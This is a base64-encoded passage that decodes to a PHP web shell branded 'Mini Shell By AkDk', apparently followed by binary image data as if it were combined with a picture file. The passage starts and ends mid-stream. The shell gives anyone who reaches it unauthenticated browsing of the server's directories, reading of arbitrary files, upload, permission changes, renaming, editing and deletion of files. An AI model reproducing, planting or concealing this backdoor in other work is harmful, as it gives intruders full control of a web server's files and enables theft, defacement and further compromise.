aW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8dGl0bGU+TWluaSBTaGVsbCBCeSBBa0RrPC90aXRsZT4NCjxzdHlsZT4NCmJvZHl7DQpmb250LWZhbWlseTogIk9yYml0cm9uIjsNCmJhY2tncm91bmQtY29sb3I6ICM1OEZDOEM7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1Ow0KfQ0KI2NvbnRlbnQgdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNjM2MjYzOw0KdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7DQp9DQojY29udGVudCAuZmlyc3R7DQpiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7DQp9DQojY29udGVudCAuZmlyc3Q6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1Ow0KfQ0KdGFibGV7DQpib3JkZXI6IDFweCAjMDAwMDAwIGRvdHRlZDsNCn0NCkgxew0KZm9udC1mYW1pbHk6ICJPcmJpdHJvbiI7DQp9DQphew0KY29sb3I6ICMwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KY29sb3I6ICNmZmY7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCn0NCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQpib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPjxpbWcgd2lkdGg9MzMgaGVpZ2h0PTQ0IHNyYz0iaHR0cDovL3d3dy5zaGVydi5uZXQvY20vZW1vdGljb25zL2hlbGxvL3J1ZGUtZ3JlZXRpbmdzLXNtaWxleS1lbW90aWNvbi5naWYiPg0KIE1pbmkgc2hlbGwgYnkgRGV2aWwgS2lsbGVyIDxpbWcgd2lkdGg9MzMgaGVpZ2h0PTQ0IHNyYz0iaHR0cDovL3d3dy5zaGVydi5uZXQvY20vZW1vdGljb25zL2hlbGxvL3J1ZGUtZ3JlZXRpbmdzLXNtaWxleS1lbW90aWNvbi5naWYiPg0KIDwvY2VudGVyPjwvSDE+DQo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyPjx0ZD5EaXJla3RvcmkgOiAnOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQokcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQokcGF0aHMgPSBleHBsb2RlKCcvJywkcGF0aCk7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQppZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsNCiRhID0gdHJ1ZTsNCmVjaG8gJzxhIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsNCmNvbnRpbnVlOw0KfQ0KaWYoJHBhdCA9PSAnJykgY29udGludWU7DQplY2hvICc8YSBocmVmPSI/cGF0aD0nOw0KZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsNCmVjaG8gIiRwYXRoc1skaV0iOw0KaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCn0NCmVjaG8gJyI+Jy4kcGF0Lic8L2E+Lyc7DQp9DQplY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nOw0KaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7DQppZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkhPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPlVwbG9hZCBmYWlsZWQhIEZ1Y2shIDxpbWcgc3JjPSJodHRwOi8vYy5mYXN0Y29tcGFueS5uZXQvYXNzZXRfZmlsZXMvLS8yMDE0LzExLzExLzRGNC5naWYiLz4NCiA8L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InVwbG9hZCIgLz4NCjwvZm9ybT4NCjwvdGQ+PC90cj4nOw0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJzxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC9wcmU+Jyk7DQp9ZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyl7DQplY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+Q2hhbmdlIFBlcm1pc3Npb24gRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7DQp9DQp9DQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwYXRoJ10pKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOw0KfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsNCmlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7DQppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmV3bmFtZSddKSl7DQplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBOYW1lIERvbmUuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkNoYW5nZSBOYW1lIEVycm9yLjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0icmVuYW1lIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOw0KfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7DQppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQokZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkVkaXQgRmlsZSBEb25lIF5fXi48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yIH5ffi48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90ZXh0YXJlYT48YnIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQo8L2Zvcm0+JzsNCn0NCmVjaG8gJzwvY2VudGVyPic7DQp9ZWxzZXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsNCmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsNCmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7DQplY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5EZWxldGUgRmlsZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCn0NCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCjx0ciBjbGFzcz0iZmlyc3QiPg0KPHRkPjxjZW50ZXI+TmFtZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5TaXplPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPlBlcm1pc3Npb25zPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPk9wdGlvbnM8L2NlbnRlcj48L3RkPg0KPC90cj4nOw0KDQpmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpew0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQplY2hvICI8dHI+DQo8dGQ+PGEgaHJlZj1cIj9wYXRoPSRwYXRoLyRkaXJcIj4kZGlyPC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj4tLTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KZWNobyBwZXJtcygiJHBhdGgvJGRpciIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImRpclwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGRpclwiPg0KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPg0KPC9mb3JtPjwvY2VudGVyPjwvdGQ+DQo8L3RyPiI7DQp9DQplY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7DQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCmlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsNCiRzaXplID0gZmlsZXNpemUoIiRwYXRoLyRmaWxlIikvMTAyNDsNCiRzaXplID0gcm91bmQoJHNpemUsMyk7DQppZigkc2l6ZSA+PSAxMDI0KXsNCiRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsNCn1lbHNlew0KJHNpemUgPSAkc2l6ZS4nIEtCJzsNCn0NCg0KZWNobyAiPHRyPg0KPHRkPjxhIGhyZWY9XCI/ZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+PC90ZD4NCjx0ZD48Y2VudGVyPiIuJHNpemUuIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsNCmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGNlbnRlcj48YnIgLz5NaW5pIHNoZWxsIGJ5IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9Ba0RrMTIzIj48Zm9udCBjb2xvcj0icmVkIiA+QWtEazwvZm9udD48L2E+PC9jZW50ZXI+DQo8L0JPRFk+DQo8L0hUTUw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIFdvcmxkDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KICAgIHJldHVybiAkaW5mbzsNCn0NCj8+CQkJw7/DgCARCCA4IMKWAwERIAIRAQMRAcO/w4QgwpwgASABBAMBASAgICAgICAgICAJAgMHDQoEBggBCwEBIAICAwEBICAgICAgICAgIAEGBQcCAwQICRAgIAYBAwQBAwMCByAgICAgAQIDBAUGByARCCESEwkxUSIUQTIVFg0KYXHCkUJiI3MRIAIgBQMBBgQFAwUBICAgIAECIBEDBAUhEgYxQVFhIhMHccKxMhTCgcKRwqFiFUJSwoLDkXLCslMkFsO/w5ogDAMBIAIRAxEgPyDCi8KNfsKQR8OLw7DDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhDDkhFBw5RNIAFRQiYCIFATwpjigqwBMMO8IAnChDcRw5TCgE9IwoJAw6sCKEUgRMKHKcOAB2ESwpgMID9Bw5hHQgjDqyBBw6kVw6oiYeKCrCHigqwh4oKsIeKCrCLCnsOywonChMKAYsKJw4A3EsOuHcOAHxvCiXfDnAN9T8KPZCLCrUQh4oKsIeKCrCHigqwh4oKsIsKQOUREwqBiwonCi8K3cUBARMK7w6/CtsOgA8W+b8K2xaBHwqxEVcWhwonChsKQwobCkMKGwpDChsKQwo3CtsO9BMOxw5sMwqHDhlzCpcOJwqvFoD3ChMK1w6Rhw4k2w5rDizl7HX3ChMODw7rDrTrCj1fCrcOKwpI+wqzCnMK7dQkYw6JeQlnDisKuFkfDhsKjwp3CkiHCjiRMwqAfMcO7w5nCncOLHkNtw4dtK8WTKw/Ct0cqwqxUNUrCjsOib8K3xaFQwqAgZgbigqwJwpjDmsO8Dx9mMcK1cnXCqcKGxb7DtRlBIBIVVBksw7pMwpM5dcOTwrohJ8OZRzbCqcOcw6zDiRjDlsOtQcOCczhxwoUewpUxWXEMw7zDsQ9dw48aRnzCssONw6XDvHXDuMOGSTcEG8OswpHDin8owpTDhsOYD8K3w47DnsOgHELDr8KGWFxZw59eJcObw5bCrMKuGG4BZMK7SsO5wonCnMOOxZPCnwjCpXI8w5Ucw6XDjTrDtsO0GsKKw5NCwrIyM8KZwpzDtB/DqxHCtsKxTsOcw4QjwoIow5zDqg7DicKRw4JnQMOKD8OQwoVU4oKsE8KPw7lvwqvDsMOzCcKswojDsMOWK8KnTsK6RSHDlMOpxaAgJlFTwoJpJlATKMKqwobDvcKp4oKswplATsKiwobDm8KhSgIjwqnDscOsEMKOc8OYw4lIw48fw7LCkVLCsX5hIERkw6NfR8KCw4I9QBEXwo3DkAV3w707d8OXBMKpTuKCrMO9NlbCl3EHw6RiWVl+wqBHw4QRFsOZMX8mwrHDm0YwfyjDpTLCgcOUbxjDicOUwovChMOIPwdRBmjCrsKpCD9RIA0KS8K6UxvCqjLCqsO3wpIgw71gwqrDjGTCoMKTw6Anw7LCjsODSmDCg8WSwoFKwoXClWnDpEXDlcOmwp8ZLRjDtSUSMsKNH8OYw6MaxZJkw7HCssKAwprDicKRw4tVwo5DFMOAURLCmHXDkXbDrMKWNcKrUzrCii5Uwo7DsOKCrMKCD8KBwo7Diioaw6ERwobChsKiwoI+JGkbOHvDq8Ojdg7DghgHwo4Rxb4rCcOjw5xwxZLCrmbCmWTDsMW+w6rCiQ0KDQoxMMOVGgTDksOpwrV+w64WOMKSw7LDiMWgwrENCsKgEWPCqlA4AcK2w5w3w5fDjz7DisOnw7MZwozDnkLFoGbDssWTw4BbRSPDlcWhw4zCqn1VEwHCjsOVw67DkAjDmVzDrx1lZWFswrY0acOTJsKxwp7DhSDCnyHDqyEzGsK2OmrDrcKDwoM0fsORw5x7w4IUDmbCj8Oaxb5kw6zigqwewoBzNnTCmkvClMKCPwIlw5h1w7RqwrLCusOuQhl7w4EEfmI1wokFTsOWBDfCjsKRWyYvw6TDlFUYxb7DuQlFwpEgMsOIw4YxdyLCqiUQw5wMwrJsw5Fcw6kUQ8Kuw6YgDQodw5LCmMOdUcKVQcOvIHzDoMKqw43CogJPwoDCn8OKOMWgASLCisKicsKZNcKQOMWgwrIqFMOJwqzCisKBw7LCmsOJHA0KwqJHD8KhwoAHXMK7J8OYYjw7Y8KUw4XChMKEwpnDlU4uOkZRRAN1w5PCjGDDrkTDqAbDm8KAwq5GaMKuZEBDwq/DncK3TXB3SmAawozCqg95A8OnEsKqw43DtMKCfgJxwpzDuMKlW8KAxb7DssKbwo50w4tsOznDqsOdwpM8w6LCisONxaDCuSrCicKUZSsNCjF5woPCj8KXwoXClWomTUFsw73Ci8KD4oKswrJiJREhw4Q6aw/DiW4rw5pxwrvDu8K7VylxTsOKwrPCo8KvVWXFoMOFWU94ImDDh8K7FUrCnWzCpcK1DQrDgDU2wq7CisOAw7QgwrAEH8KMTl/DtwTDoMOcMcKDY8W+wokPwobDsU48w4XCscKyBsONAybDnsKHUMKBwqt/KCxSw4Zgw4zDksOLQ8KxaMWSwqHCmcKDwpU8RnBlBT8hw7tEO8KNxbjCnMO2PzHClsOMxbhSwq5Ww6bFk8ONRcO0JGo7PMKnw6tPbsOiZTkJw4pTwpDDrsKLwr8+wrLCs8KxS0TCs8KlTsKSwp9Se1Qsw6XCs8KswobCv8KMa3otwp0VPynCmsK6IkAFMMKqdsOLwpEuw5MIAU3DpTJgTcKMJiABw5/CrsO6w5/Cm8KWcsKYwp/DhEbCucKRw64xZ1MIaQhpCMK2wrJ+VMKVS37DnyJnT8K7bcO7e8OKJcOfbcODfcK3w5cgZEHDscKIImJRw7oRw7rDqcOmUy5Xw7ENCsOWZGnCjU3Cj8OQw4fDklYcfsKlaMOWNsOzw4MwxaA8wqnDl8KeKS4SKEHDg8Wgw4wmAcO/IGgiKCoow7ZuJz7DuwfDg3zDs8KJwr8Zw6UDFMOXHsK7V1XCq8K/YV3FuMKrwrDDmy3DjT3CssOrMT7DoRvDu8KPZhcrwog3woLCn8WgKcKSwpLCnMOnwrFBwpzDpDrDj8K6IMKbH8O7woXCtmYeZsW9w49Yw5PCglfFksKZMMOLwo3DjjDFkn4mwqJZw5zDmyXDo0JTJDXFk8OLXlzDiEJjB8OeFsOOw4kew5XCgCR2ScKBRSE3wpx7wrsDc197V2vCisOiZwnCkMONUcK34oKscgLCucKvUQIpwpUjTWnCgMOVwobComzDk8OcesO9Ok4ow7Q5fVvFksOAwr/CtsKxwqlVw4XCt8WgEVtxE33DhcWgEMO1wpAdOzrDhMOqw7HDqsO0w5PDmDYpw4nDtcKuUsOwPsOZwoLCmEfFuELFvcKlMzfDl8KIw70bbEzDpErCq8KMw71CUlLCq1fCkGzDpi1iwp0jwqzDnQTDl2bDoBJRJcKAw6IdwrprO2TDnB8lbXHDhsOzVMKvXcKUwr/CqW7DksOYw4rDksOaw6A7woIbwqzCiSHChMOBEsOreMOHw5cZw7taxb3DssKWL0FBwpbDmsKCe8KBHVTClVPCp8KGwqDDikY8A8Oqa8KNGFPCi8O8WsOkDy0nw6nCjG/CmQLCnXbDpMKiTMOsMgzDmEhYwqIxw5cewqw2wrrDmzrDrVnDlMKKSiUJJWA9NcOTwqduUsOxwp3DisKuUyrFoBTDkSFCw63Drm8gw4vDsj5HY8OGKFU0LGrDkcW9wprCgkLCtVvCpUcsw6B9QX1AFBnCgAHCluKCrMOGB8KKY2zCscKYwrvCjMKtRBUuEcOramRISkXCgAs+woTDrSTCkcOWesO0wojDuMOkw5fFk8OGXMKqw6PDjmDDgRNcVUbFoMOjKVPigqxqw5XCi2pZNcKV4oKsasKSMsOCwpEYw4s9wop9QMKIM8KDMzbDgmFsw6E1Nw/FvX4HV8KePcOsw4txwqzDrcKuasKOSMOVW2rCocOdPRLCm8OCw7VQRVbClMO8QR3DsV/DiXPCkcKUw4fDlsKxe13ChsKqFQ0KxZI2w5J6EjbCj8OQw4TDvMOJY1vDlwM4wpXCj8Kpw5wEw6LFk1szw6QmworDlSEnYhzDmMKgKEtMxaDCrDvCt8K2xZLCl3XCs8OJxb5kw7rDiS7DvlHCoQnDosOzworChVHDqTsgwo3DkATDg0nDk8OIWXNeT17Dq8KbZMKqWljCncOswqwVwqoFw7MgwpTCqcKgBCLChTPCnMKlJTPCmzTDosO6w5bDlcOwWMK